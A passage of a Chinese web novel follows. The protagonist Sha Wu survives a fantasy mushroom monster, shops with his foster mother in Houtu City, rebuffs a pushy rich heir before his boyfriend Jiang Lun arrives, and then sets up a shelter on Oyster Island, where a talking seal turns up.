火焰对白色身影没有任何作用，手掌轻而易举就穿过了火焰盾牌，穿过火焰结界，眨眼间就到了两人面前，像是下一瞬间就要摸到他们的眉心。 巨大的火球砸向手掌，没想到手掌直接从中间裂开，变成无数菌丝绕开两人，直接攻击被他们保护在身后的沙伍。 然后手掌突然就断裂下来，在掉落的时候断面两端飞快长出菌丝，要连接到一起。 金色火焰升腾而起，瞬间吞噬手掌，烧得连一点粉末都没留下。 “让你走了吗，你就走？”夜鹭依旧站在一株麦苗上，像是连翅膀都没动过。 白色身影并没有太在意被烧掉的手掌，断腕处很快长出了一只新的手掌。 新的手掌渐渐有了皮肤的颜色，甚至有了皮肤的质感。 白色身影像是一张不断增加细节的画稿，越来越像个人，越来越像沙伍。 头上的发丝一根根变得柔软，脸上的五官变得清晰，身体有了明显的关节，像是体内长出了骨骼，甚至体型也在飞快变小，从几十层楼高，迅速缩小到三米左右。 这个高度似乎已经到了“它”的极限，并没有再进一步。 “它”的眼睛闭上，张开，眼珠子转动了一下，眼睛里有了神采，盯着沙伍的目光中甚至能看出渴望：“吃了他吃了他吃了他！” “它”往前走去，抬脚的一瞬间突然僵硬。 阿大和阿二根本无法动弹。 沙伍从刚才蘑菇人追击过来的时候，就整个脑子一片空白。 “小鲨鱼？” 听到熟悉的声音，他的眼神渐渐聚焦，对上的就是一个近在咫尺的放大版的自己，立刻闭上眼睛。 世界上没有鬼没有鬼没有鬼！ 他果然是见鬼了，才会差点被蘑菇吃掉。 “小鲨鱼。” 他听到姜纶的声音，小心翼翼张开眼睛，看到放大版的自己还在眼前，但像是个真正的雕塑，然后顷刻间枯萎凋零，被大地吞噬，露出站在“它”身后的姜纶。 原本发色已经变成几乎黑色的姜纶，这会儿发色又变回了金色，伸手把沙伍从阿大背上抱进自己怀里：“对不起，来晚了。吓到了吗？” 沙伍眨了眨眼睛，像是确认眼前的人就是姜纶，试探着伸手掐了掐他的脸，才理直气壮起来：“没有！” 伍哥怕过谁？ 伍哥谁也不怕！ 姜纶抱紧了他一下，松开，把人放到地上……放不下去？ 沙伍双手勾着他的脖子，脚也要抬起来。 姜纶脸颊发烫，有外人在呢。 然后他听到一声啜泣，很轻，像是小声吸了一下鼻子。 姜纶重新抱紧他，在他耳边小声重复：“不怕不怕，我在呢。” 阿大和阿二踩着飞板离开。 夜鹭张了张嘴，没发出声音，翅膀一扇，飞走了。 过了一会儿，姜纶才试探性说道：“上次你送我的花，我交给设计师，今天出模了，要不要看看？” 一米长大虾出的粉花形状的晶核，他离开生蚝岛的时候带了回来。 沙伍一开始没吭声，过了一会儿才问：“做了什么？” “做了床头灯。” “那个颜色不正经。”谁家好人用粉色的灯光？ “哪有？特别正经。”他们在房间里都没干什么不正经的事。 姜纶想想就怨念。 “嘿。”沙伍听出他话里的意思，下意识笑了一声，想到刚才那种被很恐怖的东西盯住的感觉，又觉得浑身发冷，“那个蘑菇要吃掉我。” 姜纶不断轻轻拍抚他的后背：“它已经死了。” 沙伍又吸了一下鼻子，被恐惧震到一片空白的大脑一点点恢复转动：“我觉得它有点怪。” “哪里怪？” “我在实验室里闻到的味道，有一丝丝甜。这个蘑菇没有。”说完，他马上更正了自己的说法，“它的孢子没有，就是正常的蘑菇味，鲜香味很足很好吃。” 姜纶都不知道该说什么好了：“这么快就不害怕了？”都不需要男朋友亲亲抱抱举高高，恢复心态只需要一口蘑菇？ 沙伍顿时就不跟姜纶抱抱了：“谁害怕了？！”伍哥天不怕地不怕！ 姜纶看沙伍只是眼眶微微发红，眼睛里还残留着一点水光，低头在他唇上亲了一下：“是我害怕。” 依旧在天空中游弋的异能鲨鱼，突然变成了细密的雨丝，又变成点点雪花坠落。 接下来的行动，姜纶就一直跟着沙伍。 主要是剩下的就三座类似东湖这样的小城市，加上那只大蘑菇被干掉了，剩下的危险性几乎没有。 最后发现了一些被孢子寄生的人和动物，被集中起来放到隔离医院治疗观察。 比较幸运的是，这次的寄生蘑菇并没有蔓延到其它几个大城市，也没影响到元旦假期。 飞机上，家庭医生正在跟其他人说最新的观测结果：“这些孢子和普通的蘑菇孢子不太一样，失去了‘母体’后，它们似乎也失去了活性，正在慢慢萎缩。对于身体条件不太好的一部分人，现在正在尝试保守治疗，看看能不能通过身体自身的机能把它们排出来。” “做手术取出的话，怕在过程中刺激到孢子，发生意外。” “这东西不是污染，净化没用。” “不敢相信，那东西都快九级了，竟然这么一下就死了。” 阿二到现在都还没缓过来，时时刻刻都在往肚子里塞东西，镇压自己脆弱的小心灵：“我觉得自己还挺厉害的，没想到都是错觉。” 说着，他悄咪咪看向姜纶。 原本以为他的实力能够给姜纶制造一点小麻烦，想多了。 小少爷的实力突飞猛进，他马上就可以变成真正的帮厨，事少钱多离家近，躺着赚钱。 梁伯温和地说道：“八级和八级之间的差距是很大的。八级和九级之间的差距更大，还是要多多锻炼，提高自己的实力。” 祁大厨看着脸都圆了一圈的阿二，把他手上的大碗拿走：“吃什么呢？爆米花？我记得小少爷今年没种适合爆米花的玉米品种？” 姜纶“嗯”了一声：“没种。” 小风本来以为是爆米花没吃，现在听不是爆米花，就伸手拿了一个嚼了嚼：“蘑菇？” “对。”阿二对自己的新菜谱还是很得意的，“小伍说那个寄生蘑菇的孢子很好吃，我就找了几种蘑菇，想着能不能复刻出来。最后用的是一种大米，膨化、调味……” “不好吃。”小风皱眉。 “切。你根本就不懂食物放大术的魅力。”阿二不跟她一般计较，竟然有人不爱吃零食，“一会儿我给小伍装一小份。” 小风看了看小书房的方向：“作业还没做完吗？平时不是一会儿就做完了？” “平时就一天的作业。现在是攒了好几天的，还得补缺的课。” “光是看课程视频就要不少时间。” “一年级还都是各种理论基础课，作业量……”谁都经历过那段时间，懂的都懂。 沙伍带着茫茫多的作业，下飞机之后直接进飞车，都没注意到停靠的机场不是瑞云实验室的，等感觉进入了一座高楼，才抬了一下头：“这是哪儿？” “欢迎回家，小鲨鱼！”姜纶拉着沙伍下车，走到外面的阳台，指给他看周围的山坡，“这一片叫龙丘，就是我们家。周围这一片的山头是我们的地盘。那边一片是大姐的。爸妈住更深的山里面。” 沙伍看着连绵不断的山脉，底下甚至有缭绕的云雾：“家？” 这跟他曾经想象中的一室一厅60平米带小院的家，不太……很不一样。 他当然知道姜纶的家肯定很大，无论是学校宿舍还是瑞云实验室那边的别墅，都大到离谱。 他以为姜纶的家可能就是个更大一点的大房子。 或者更夸张一点，是个宫殿？ 万万没想到，有人的家竟然会是一条，或者是一段山脉？？？ 相较之下，铺展在眼前的巨大城市，完全没给他任何震撼的感觉。 后土城确实比青龙城要更大，就像是更大一号的青龙城。 “这房子是爸爸造的，妈说在山上盖个高楼像电线杆。你要是不喜欢的话，等我们结婚的时候，我重新盖一个。”姜纶跃跃欲试。 沙伍：“这就挺好的。书房在哪儿？我做作业。” 今天是下课后直接过来的，这会儿天都黑了，等他今天把作业全都做完，争取一整个假期都带沙妈妈出去玩。 哦，还有带上他的钻石小少爷。 梁伯说道：“先用晚餐吧，已经准备好了。” 沙伍对晚餐没什么期待：“我可不可以在书房吃？”抓紧时间，一边吃饭一边看课程视频。 梁伯微笑：“不可以。吃饭要专心，不然容易消化不好。” “好吧。”沙伍还是很听梁伯话的。 这顿晚餐显然不是来自祁大厨的手笔，而是家里的大厨，也是祁大厨的师傅，一位除了头发白，哪里看着都很年轻的大美女。 祁大厨介绍的时候，沙伍愣了很久：“可是祁叔不是已经在这儿工作了十几年了吗？” 说十几年是客气，其实是二十年。 难道是最近几年拜师的？ 应该不至于。 白发大美女笑得特别开心：“我都一百多岁了，小伍以后要叫我田奶奶。” 沙伍实在没法对着一张二十来岁的脸叫奶奶。 好在姜纶立刻说道：“书南姐，你就别逗小鲨鱼了。来，跟我叫书南姐。” “书南姐。”这一下沙伍就叫得很顺畅。 大姐两百多岁都是姐姐，一百多岁的只能是小姐姐。 书南小姐姐人美，厨艺也很棒，给沙伍单独弄了个麻辣鲜香的小火锅：“小祁搞不明白那些调料，做的营养餐很难吃吧？” “不难吃。”沙伍实话实说，但，“就是吃得太清淡了，偶尔会想吃点重口味的。” 祁大厨辩解：“调料用量少，里面的营养成分和能量算起来太复杂了。我是懒得算，不是搞不明白。”不要质疑他的专业好嘛？ 沙伍偷偷看了一眼祁大厨，感觉他说话声音都小了。 他突然也不好意思跟祁大厨开玩笑，专心干饭，把什么牛羊鱼鹅都往小火锅里烫，最后来上一把蔬菜，再煮了一包土豆粉，把准备的所有食材都一扫而空，就赶紧去做作业。 平时沙伍都会跟姜纶一起吃完，然后一起出门遛个弯什么的。 今天沙伍不等姜纶，姜纶觉得缺了点什么，饭菜都不好吃了。 只是他平时吃饭一直都没什么表情，别人也没看出他不高兴。 田书南看出他吃饭的速度比平时快了一点，见他站起来准备走，说道：“小伍的房间在17楼。” “17？不是，为什么还要给小鲨鱼安排单独的房间？说了跟我一起睡啊。” “那你欺负他的话，他得有自己的房间可以回啊。”田书南说得理所当然。 姜纶：“我怎么会欺负他？” “听说你第一次见面就把人小孩儿拐到了自己卧室？” “啊，那是……” “跟你睡一个被窝？” “不……” 田书南目光严厉：“别以为跟几个纨绔子弟一起封了个什么后土四少的名头，也跟着一起出去乱搞。” “我没！我都不认识那什么四少！”姜纶觉得自己冤枉死了，“不跟你说了，我去找小鲨鱼去！” 田书南在他身后叮嘱：“不许打扰小伍做作业知道吗？” 第55章 后土四少 “小伍，这件怎么样？”沙妈手上拿着一件轻薄柔软的白色毛衣，往沙伍身上比划。 沙伍坐在等候区的沙发上，睁着眼睛毫无焦距：“好看！”回答声铿锵有力，充满真诚。 在边上的营业员们看得都捂嘴轻笑，对着沙妈妈小声说道：“姐姐，你儿子真可爱。” “看着好乖啊。在读初中还是高中？” 沙妈妈原本没好气的表情，被营业员们这么一说，瞬间柔和下来，带着点炫耀地说道：“已经在读大学了，就是长不大。” 话是这么说，她对沙伍的“幼稚”是喜欢的。 一直瘦巴巴的小孩儿最近显然日子过得很好，距离上次见面，脸上已经养出了一点婴儿肥，瞧着年纪就小。 在孤儿院，沙伍根本就没有资格幼稚、任性。 现在看他时不时表现出这一面，显然被人悉心照顾真心关爱。 唯一一点不好的是，沙伍是个不吃亏的性子，以前读书的时候没少为了各种各样的事情被叫家长，现在估计这样的事情更多，说不定马上就要无法无天。 营业员们半是真心半是恭维道：“姐姐可别这么说。这么大的儿子还愿意陪妈妈出来逛街的可没几个。” “您儿子一看就乖。” 沙妈妈在营业员们的甜言蜜语中，买了一堆东西。 这家商场看着还算高端，但也只是卖普通人的日常用品，只要不牵涉到异能，价格对于异能者来说都算亲民。 沙妈妈虽然只是一个一级异能战士，但是治疗的这段时间找了一份照顾异能宝宝的托儿所工作。 她有丰富的带孩子的经验，又不怕吃苦受累，工资待遇很不错。 所以趁着过节，她就给自己的几个养子养女大采购。 结束一个上午的战斗，沙妈妈坐在商场餐厅里，等餐的时候把买的东西一件件拿出来展示给视频通话中的养子女们看：“小肆，看，这个牌子你是不是拍过广告？” 视频中的沙肆正在吃午饭，一大盆生的五颜六色的菜叶子，拌了两勺酸奶。 沙伍涣散了一上午的视线终于聚焦，张嘴：“哞~咩~” 沙肆一听，手上的叉子差点直接穿过光屏，戳到沙伍脑门上：“你闭嘴！吃你的宝宝餐去！” 上面的三个哥哥姐姐看着他们闹，脸上露出难得轻松的笑容。 没有亲人作为后盾，他们的生活比起其他出生普通家庭的年轻人要艰难一些。 哪怕他们现在已经工作了好多年，生活也算是比较稳定，都已经成家立业，生活压力依旧不小，很少能够为养母和弟弟妹妹们做些什么。 现在看他们过得显然不错，都感到很高兴。 “沙妈妈别光是给我们买东西，您留着钱给自己花。” “我们平时的工作，用不着穿这么好的衣服。” 沙贰说道：“就是，平时小肆给我寄的衣服就够多了，我都穿不完。” 沙肆做服装模特儿的，哪怕不算是什么知名模特儿，平时也能从合作厂商那里收到很多衣服。 一部分没有什么特殊要求的衣服，她会寄给沙贰。 虽然都是旧衣服，但是沙贰不挑。 这些衣服大部分都是只穿过一两次，有些甚至都没穿过，有些尺寸不合适的，她改改就能穿了。 她自己可舍不得花那么多钱买衣服。 别说是沙贰这个女孩子，就是沙壹和沙叁两个男的，在服装购置方面也没少占便宜。 作为服装方面的从业者，沙肆经常有机会拿到一些便宜衣服。 很多厂商也不是只做女装，男装、童装、中老年装，乃至于各种配件都做。 拿货批发不太行，但是以比较低的折扣买几件衣服没什么问题。 沙肆如此，上面三个也同样有一些资源。 沙壹在食品厂工作；沙贰在百货公司；沙叁在做房地产中介。 沙壹他们中间的各种租房，都是沙叁帮忙找的。 沙妈妈很喜欢看他们热热闹闹的：“一会儿下午我们再逛一圈，到时候发快递给你们。地址都没变吧？” “没。” “没变。” 几个人乱七八糟地说着，突然有人一甩手把沙妈妈好好放在卡座外侧的购物袋给带到了地上。 本来挺普通的一件事情，只要随口道一声歉就行。 结果那人站着，居高临下扫了一眼沙妈妈和沙伍，用一种假装很小声，实际上谁都听得到的音量说道：“啧。什么人都能来了？” 沙伍弯腰去捡袋子的动作瞬间就停了下来，手往上就扣住了人的小臂：“不好意思，解释一下什么叫‘什么人都能来了’？” 他昨天晚上补了好久的作业，结果还是没做完，留下个尾巴，得今天回去在做。 没按照规定的时间把安排好的事情做完，他有些焦躁。 早上出门的时候，原本他打包带出门的钻石小少爷，被临时被叫去处理寄生蘑菇的后续事务。 他本来就很不开心了，现在还来个狗眼看人低的。 沙伍原先靠坐在窗户边，被一堆购物袋淹没，很是不起眼，现在一站起来，一双比常人更黑的眼珠子盯着人看，非常渗人。 衣着体面的中年人一瞬间感觉腿都软了，虽然不知道自己在怕什么，但就是十分惊慌：“对、对不起！是我嘴贱！” 他猛地转头对着沙妈妈一鞠躬，动作幅度太大，脑袋“嘭”一下磕在餐桌上，顾不上捂脑袋，伸手把被自己勾倒的购物袋拿起来，双手放回到椅子上：“对不起！我不该故意把购物袋拉下来！” “故意的？”有人小声惊呼。 有人比划了一下自己胳膊和卡座之间的距离：“肯定是故意的啊。没见人家的购物袋都放得好好的，走路的胳膊得甩出多远，才能碰到？” 这家餐厅虽说都是卡座设计，但增加了很多细节，其实比较类似于包厢，座位和过道之间的距离很宽。 当然，餐厅的价格不低，哪怕中午来吃饭的人也不多。 怎么想也不至于非得走到别人卡座边上，更不至于把人家的购物袋弄到地上。 周围的顾客们原本看到起了冲突，纷纷投来看好戏或者是厌烦的目光，只是没想到其中一方竟然这么快就认怂走人，顿时觉得……就这？ 大部分人都只是在心里面想想，有人却说了出来：“可惜，怎么没打起来？” 刚坐回位置上的沙伍顺着声音，对上一个个子挺高的油腻青年，还没看清人脸，就像是吃了一吨油。 沙伍这种吃惯了清淡口的人，顿时觉得腻得慌，因为困倦而微微眯起的眼睛里满是不耐烦，扯了扯嘴角：“怎么？要打架？” 油腻青年原本只是看好戏，没想到会有人接话，长得还…… “你叫什么名字？长这么可爱，语气不要这么凶嘛。” 啊？ 沙伍感觉自己遇到了神经病：“有病就去治。” 他这么说话，油腻青年反而兴致更高：“哎？你这样凶巴巴的也很可爱。这就是凶萌凶萌？” 沙伍都没胃口吃书南姐给自己准备的营养午餐了。 他还没有进一步的表示，油腻青年身边的姑娘先不干了：“官少~你跟这些平民浪费什么时间？” 同行的几个青年也笑道：“是啊，官少，难得来这种平民商场。我们先尝一口，要是不合胃口，再去你家的嘉玥中心。” 嘉玥中心，后土城最著名的高端商场之一。 里面售卖的哪怕是不涉异能的普通用品，价格都高到让低阶异能者望而却步的地步。 姓官，还是“你家的”嘉玥中心，加上油腻青年还算有点辨识度的长相，周围已经有人认了出来。 “我的天。后土四少里的官少！” “真的假的？” “没想到会在这种地方见到传说中的官少！” “官少真人好帅啊，我还以为视频里的图都是修过的。” 五感敏锐的沙伍，听得盖上自带饭盒，彻底吃不下饭了。 长相好不好看，帅不帅，属于个人审美，沙伍不做评论。 但是，这么短的时间里，遇到了两只……一只加一批狗，他也是服了。 今天黄历上写的是不宜出行？ 沙妈妈也听得脸色不好看，但常年的青少年儿童工作，让她更加耐心宽容。 以她的年纪，这种二十来岁的青年人，还能称一声小孩。 她拍了拍沙伍的手：“打包了，换个地方？” 沙伍不是很想退让，但今天低精力小鲨鱼确实懒得搭理陌生人，再说这些毕竟是人，又不是海里的大虾，不能一口一个。 原本洋洋得意的官少见沙伍知道了自己的身份，依然没有跟周围的人群一样追捧自己，还起身准备走人，顿时恼怒，心里面又有一种更加兴奋的感觉：“喂，跟你说话呢。知道我是谁，小帅哥不留个联系方式？” 沙伍连个眼神都没个他，甚至都懒得骂人，叫了无人快递车，把他们一上午的战利品先送回家，跟沙妈妈一起提着打包的午餐，换了个地方吃。 好在下午没有再遇到莫名其妙的人，沙伍也算是缓过来一点，扫了一辆共享小飞车，跟沙妈妈一起穿梭在后土城保留很好的老城区内，玩得还算愉快。 从一个景点出来，沙伍把原定行程上的嘉玥中心划掉：“本来还想去看看那边的异能武器中心的，现在算了。” 沙妈妈也觉得没必要去：“后土城这里做异能武器的多了去了，没必要去嘉玥中心，性价比不高。” 她在幼儿园工作，服务的异能宝宝们的家长大部分也是异能者。 对于后土城内一些异能者们购买异能物品的区域，她多多少少有所了解。 嘉玥中心的异能武器中心，其实是被比较多吐槽的一个地方。 “那边卖的都是成品的异能武器，价格听说比一部分定制都贵，优点是品质有基本保证，但对不起那个价格。我知道一个不错的小店，正好离这儿不远。” 沙妈妈把地图给沙伍看。 沙伍一看，确实离得不远：“要不我们走着去吧？” 这个距离，大概走路也就几分钟。 沙伍不能吃外食，偏偏又眼馋各种小吃，沙妈妈吃得特别撑，正好走走：“还是我们家小伍送我的漂亮又实用。” 沙伍往沙妈妈的方向轻轻歪了一下，又马上端正姿态，摆出一副成熟男人的可靠模样：“你喜欢就好。我们已经在生蚝岛上建了个庇护所，以后会经常去，蚝珠管够。对了，那边的粉红虾的晶核也很漂亮，还挺多粉色花的造型。” 挺多是相对而言。 就他一兜捞起来成百上千的粉红虾里，能够开出晶核的比例大概就十个里一个。 在变异生物里，这个出晶核的概率已经算是非常高的了。 这些晶核总体确实是粉红色，但大多数都带了点别的颜色，还大部分都不好看。 能够最终呈现出花朵造型，变相说明粉红虾的晶核普遍长得非常……奔放。 想要得到一朵粉色花朵晶核，哪怕以沙伍的捕捞数量，也是运气极好才能有那么几颗。 最大的一颗在姜纶手里。 剩下小的一串送给了夜鹭装饰秋千。 不过夜鹭似乎不太喜欢。 沙伍想着夜鹭的表现，暗忖：难道夜师傅不是男孩子，不然为什么不喜欢猛男粉？ 他家钻石小少爷那么喜欢。 不管了，一定是夜师傅的审美眼光不行。 “我下次去给您带几个。” 沙妈妈笑着拍了他一下：“说的好像放在那儿，你过去了直接拿似的。安全最重要。” “哦，我知道的。” 沙妈妈见他听话，补充道：“你能有这么多晶核和蚝珠，都是夜院长的帮忙。你可不能有什么好东西都当成自己的，得给夜院长留着，知道吗？” “知道的。大部分晶核都是给院长的。”他只保留长得好看的晶核。 剩下的晶核，包括其它一些有用的材料，院长会统一处理之后，给他分成。 “你……”沙妈妈明显纠结了一下，才继续说道，“姜纶家的条件太好了。他现在对你很好，你也不能事事都依赖他。” 沙伍听着有些困惑：“为什么？” 这她该怎么说？ 说年轻人的感情没有定性，来得快去得也快？ 说说就能听吗？ 不会的。 作为过来人，她可太明白了。 这个年纪的孩子都觉得双方感情真挚，情比金坚；劝他们未雨绸缪，都会让他们感觉到被冒犯。 沙妈妈只能换个角度劝说：“我的意思是，你得努力提升自己的实力。” “那肯定的。”他的个人实力确实不能依赖……不对，也可以依赖姜纶。 双修的效率可比他一个人闷头冥想的效率高多了。 沙妈妈总觉得沙伍不可能这么听话，但是在个人实力方面，应该是会听的吧？ 这个世界上，感情无法确定，实力却是一定的。 拥有强大的个人实力，将来哪怕有一天两个人分开了，沙伍至少也能够凭借自己，过上不错的生活。 想到他花钱大手大脚的，她又忍不住劝说：“有钱多存一些。你现在才大一，将来购买异能物品的花销不少，别把钱都用光。” 这样将来要是有个万一，沙伍既有实力又有钱，肯定能过得很好。 嗯，她不是让沙伍骗姜纶钱的意思。 这点倒是不用多叮嘱，沙伍没这个心眼，虽说他肯定占了姜纶不少便宜。 这么一想，她觉得自己跟沙伍说这些，十分对不住姜纶。 可是人心是偏的，她肯定更加偏向于自己照顾大的孩子。 “哦。我存了不少钱呢。”沙伍故作矜持地把自己的存款给沙妈妈看，嘴角已经呲出了小白牙，满脸得意。 沙妈妈被长长的数字晃得眼晕：“等等，我数不清位数了。” 她这种存款常年在四五位数徘徊的人，不适合教小孩理财。 她悄悄看了一眼自己的存款，想着生物义肢的欠款……不行，她得开始存钱，给孩子们做个表率！ 然后她在一家异能武器店里，给沙伍买了个小鲨鱼“贴纸”，成功把自己的存款干到三位数。 嗯，五号就发工资了，够用。 小鲨鱼贴纸看上去很普通，就是贴在手环上，给手环单独提供一个额外的防御，能够有效减轻污染对于手环的破坏。 手环的价格对于低阶异能者不便宜。 像沙伍这样经常出入污染区的，手环很容易变成快速消耗品。 这种贴纸很实用。 沙伍看了看，弯着嘴角：“谢谢沙妈妈~” 贴纸对于小学生来说太过幼稚，对他这样的大学生就刚刚好。 “小帅哥声音好甜~” 沙伍一抬头就看到了中午的油腻青年。 官少仿佛没看到他瞬间消失的笑容，自顾自说道：“好巧啊，又见面了。” 沙伍见他这次没带狗腿子，和沙妈妈先一起离开小店。 官少跟在他们身后出来，根本就没有多看店内的商品一眼，见沙伍打开手环联系人，挑了挑眉：“小帅哥是想找谁来摆平我？” 他叫沙伍小帅哥，并不是沙伍小帅，而是沙伍年纪小。 还没完全长开的面部轮廓柔和，五官相当精致，加上他对待外人时候隐隐显现的凶悍果决，跟自己妈妈撒娇之后的可爱娇气，一身独特的气质更加吸引人。 无论是长相还是性格，都太符合他的胃口了。 一个低阶甚至应该还算不上一级异能战士的异能者，估计异能值天赋不错，有点小骄傲是正常的；但显然出身很普通，购买的大量的都是普通商品，买异能物品也只能来这种路边小店。 想到这里，官少眼中的自信越发笃定：“重新自我介绍一下，我是后土城官家的官明骏。只要你跟我，我可以保证你大学毕业的时候，起码达到三级水平，怎么样？” 一般异能学院，学生本科毕业的时候，大致是一级二级，达到三级的数量很少，哪怕是青龙学院的学生也是一样。 这不是学生们资质不够，而是对于异能的掌控，需要在实战中一点一点积累经验。 异能等级提升太快，不一定是好事。 “不要误会。我保证的三级，不是那种拔苗助长式的三级，是真正的踏踏实实的三级。我会给你请最好的老师来指导你，实战的过程有专人保护，绝对不会出现任何安全问题，还有净化者全程跟随……” 沙伍打断他的话：“我有男朋友了。” 官明骏一听，顿时一股无名火升上来：“谁？你跟他断掉！马上！” 他第一次这么认真地追求一个人，没想到竟然已经跟了别人？ 他不…… 一辆一点都不低调的豪车停在他眼前，上面的龙形家徽金光灿灿。 姜家人怎么会在这里？ 还是金色龙徽的姜家人，平时他们不是都不见人的吗？ 姜纶从车上走下来，对沙伍和沙妈妈说道：“抱歉，事情刚处理完。接下来去哪儿玩？” 沙伍瞬间眼睛亮了起来：“我可以吃外食吗？” 姜纶故意说道：“可以看着我们吃。” 沙伍顿时气得把他手腕抓起来咬了一口：“你完了！” 三个人上了飞车。 在姜纶出现的那一刻，官明骏就像是被掐住了脖子。 一直到飞车看不见踪影，窒息感才慢慢散去。 他不由得深呼吸一口气，不敢置信：“开玩笑的吧？” 那可是姜纶。 后土四少什么的，不过是一群人无聊排的。 作为其中之一，他比任何人都清楚这个“组合”的荒谬。 姜纶的父母那是什么样的存在？ 哪怕姜纶一无是处，甚至于哪怕他的实力达到八级，也不敢和姜纶平起平坐。 把姜纶塞进后土四少中，简直是开玩笑。 他平时在外面仗着家里的权势狐假虎威也就算了，真到了圈子内的场合，都没有资格跟姜纶说上话。 刚才那个普通……长相一点都不普通的小帅哥，竟然是姜纶的男朋友？ “有没有公德心啊！这么窄的路，快点把车开走啊！堵在这里有意思吗！” 官明骏回头就骂：“神经病！非得走我停的这条道，你不会往上面开啊！” 后车司机顿时大怒，探头出来，把车门拍得啪啪响：“你才神经病！你特么停在我家门口！” 官明骏根本不会骂人。 平时他身边跟着一群狗腿子，有什么他觉得看不顺眼的人，狗腿子们早就上前把人骂哭了，根本用不着他亲自上阵。 被这么一怼，想骂人还骂不出来，胸口一股气堵得生疼，只能恶狠狠地上车，飞快离开。 后车司机立刻提交违章视频：“乱停车、超速，罚死你！”《 》 55-60 第56章 豹出没 在后土城渡过了一个很开心的假期，沙伍和姜纶跟沙妈妈道别，提前一天重新返回青龙城，马不停蹄赶去了生蚝岛。 两人在房间里各种布置。 夜鹭站在窗帘杆上，往下看沙伍和姜纶一起挂窗帘：“不是说带我来抓鱼？”总觉得被骗了。 沙伍掏了一条小鱼干给他：“等会儿。” 虾同学回家去了一趟带回来的特产小银鱼，全身雪白无骨，烤出来还是雪白一条，外形像膨化的虾条，吃上去却是软糯鲜香的口感。 没有调味，适合喂宠物……喂小夜鹭。 小夜鹭不知道，只觉得小银鱼又糯又香：“这个很好吃啊。我以前吃过的那种大个的银鱼，口味很一般。” 沙伍用虾同学的话解释：“那种大个的好看的都是骗外地人，卖高价的。本地人就吃这种大小刚好的。” 夜鹭把沙伍随身的小包抢走，叼在窗台上，一边吹风一边吃，看着他们挂完了窗帘，又开始摆装饰物。 挂画、花瓶，还拿出一捧向日葵。 夜鹭看得头毛一竖一竖的：“你们怎么不干脆带个家政机器人过来？” 他也是好说话，都没仔细看带的什么东西，就帮他们一起提溜过来了，没想到东西准备得这么齐全。 这还算是什么庇护所？ 沙伍从一个行李箱中拿出一个到自己膝盖高的机器人，一键启动：“我带了。” 带的行李太多，只能一个一个箱子拆，拆到哪儿算哪儿。 他不太会做家务，更不喜欢做家务，为什么不能带家政机器人？ 来污染区是锻炼学习异能，又不是学习做家务能力的。 最新款的小机器人功能不算多，好在庇护所的设施简单，打扫起来不复杂。 家政机器人很快就熟悉了环境，开始干起了活。 夜鹭飞到家政机器人头顶，低头打量：“现在能做到这么小了？” 沙伍在行李箱中找出作战服，回房快速换好出来，看到跟着家政机器人转圈的夜鹭，突然想到：“院长，你要换衣服吗？” 夜鹭：“……我换毛，不换衣服。” 沙伍跟夜鹭四目相对：“啊。院长不会一直没穿衣服吧？” 夜鹭把沙伍撵下了海。 姜纶看了看，开了个标记好的杂物箱子，拿上工具去院子里种地，马上就被飞回来的夜鹭叨了一口：“啊！干嘛打我？我好好种着地呢！” “家属连坐！”夜鹭冷哼，在姜纶头顶蹲坐下来。 姜纶被他口中的家属两个字取悦到，拿出几棵灌木，摘了一颗红色的小果子给他：“找到一株变异熊果，尝尝？” “我是吃鱼的。”话是这么说，夜鹭还是低头把小小的果子叨起来，一口吞掉，“咦？火系能量很足，还很温和，带一点治疗。” 姜纶自己也摘了一颗吃：“甜味不是很足，略微有点涩，不过在野果中的表现已经很不错了。怪不得那么多鸟抢。” 夜鹭明白这棵熊果是怎么被发现的了。 姜纶感觉头顶的目光，把夜鹭抱下来，放到一旁的树枝上：“我没抢它们的，只是剪了几段枝条。这几棵是我重新培育的。”用了点异能，让它们长得快一点。 他说着，又从上面再剪下一些枝条开始扦插培育：“熊果是本土植物，没有外来植物的环境适应性问题。高度不错，会开花，红色果子很漂亮，很适合用来做绿篱。” 夜鹭自己叨了一颗熊果吞下去：“你要绿篱来干嘛？这地方又不会有人来。” 一米多的高度，也不能阻挡什么视线。 “给我的菜挡风。我这次特意挑选了一些耐寒品种，看看能不能在北极圈内表现良好。” “这儿还没到北极圈。”夜鹭看着他忙碌，突然反应过来，“你还带了全套园艺工具！” 他是带学生来给自己抓鱼……不是，带学生来学习，不是带学生来度蜜月！ 姜纶从堆放在院子里的一堆杂物里，打开最大号的箱子，点开视频，跟着组装起暖棚：“来都来了，总要把生活过得好一点。让小鲨鱼住这么小这么简陋的房子，已经够委屈了，总不能连基本的生活都不能保障。这地方的生态环境还恶劣。” 夜鹭看到暖棚已经麻了：“你搞那么好，小心被人抢了。” 污染区中其实有不少临时补给点，都是为了一些异能战队服务，被称为猎人小屋。 猎人小屋规模不一样，能够提供的服务也不一样。 有些规模比较大的，能够提供住宿、医疗、餐饮，收购战利品等等的服务。 剩下的大部分常年没有人，只是为了给在野外活动的异能战队提供一个相对安全的休息点。 污染区内的无人建筑，都可以被视作猎人小屋。 因为姜纶和夜鹭残留的九级气息，生蚝岛上的变异生物不会靠近；但人类的话就不一样了。 他们会认为这是一个安全的信号。 虽说现在的异能战士都经过培训，知道暂住猎人小屋需要保持基本的干净卫生，在条件允许的前提下留下一些食品、药品的补给，但是知道归知道，和能不能做到是两回事。 更何况那种推门发现猎人小屋里躺着几具尸体的情况，也不是太罕见。 姜纶眉头微微皱起：“不是说这里没什么人来吗？” 他这么问，显然没想着要答案。 异能战士可以刷新在全世界任何一个角落。 他看看自己布置温馨的小房子，实在不想被陌生人打扰：“我一会儿造个副楼。” “真造啊？”夜鹭只是随口吐槽一句，“这地方我真没见过外……” 他话还没说完，瞬间就飞远了。 姜纶也追了出去，手上拿着个机械臂跟一只胖嘟嘟的海豹四目相对。 海豹抬起一边的鳍：“嗨？” 海豹血刺呼啦的，被小鲨鱼咬在嘴里。 小鲨鱼装在泡泡里，被夜鹭抓在爪子上。 小鲨鱼嘴巴一张，海豹掉了下来，整条鱼都不好了：“嗨？” 小鲨鱼用软软的翅尖拍地：“说好的没有人呢！我还想吃肥肥的海豹！” 他说怎么这地方会出现一只落单的海豹，还是受伤的。 他本来以为捡了个漏，能够拓展一下自己的食谱，没想到是被人碰瓷了。 小鲨鱼侧身躺在泡泡里，用翅尖抱住自己。 被丢下嘴的海豹摆出和他一样的姿势，眨巴着圆溜溜的眼睛，不知道说什么，就拍了拍肥肥的肚皮：“啪啪啪。” 肥美的肚皮荡漾出一圈圈涟漪，丝滑又美好。 小鲨鱼看了看，又看了看，忍不住用翅尖戳了戳。 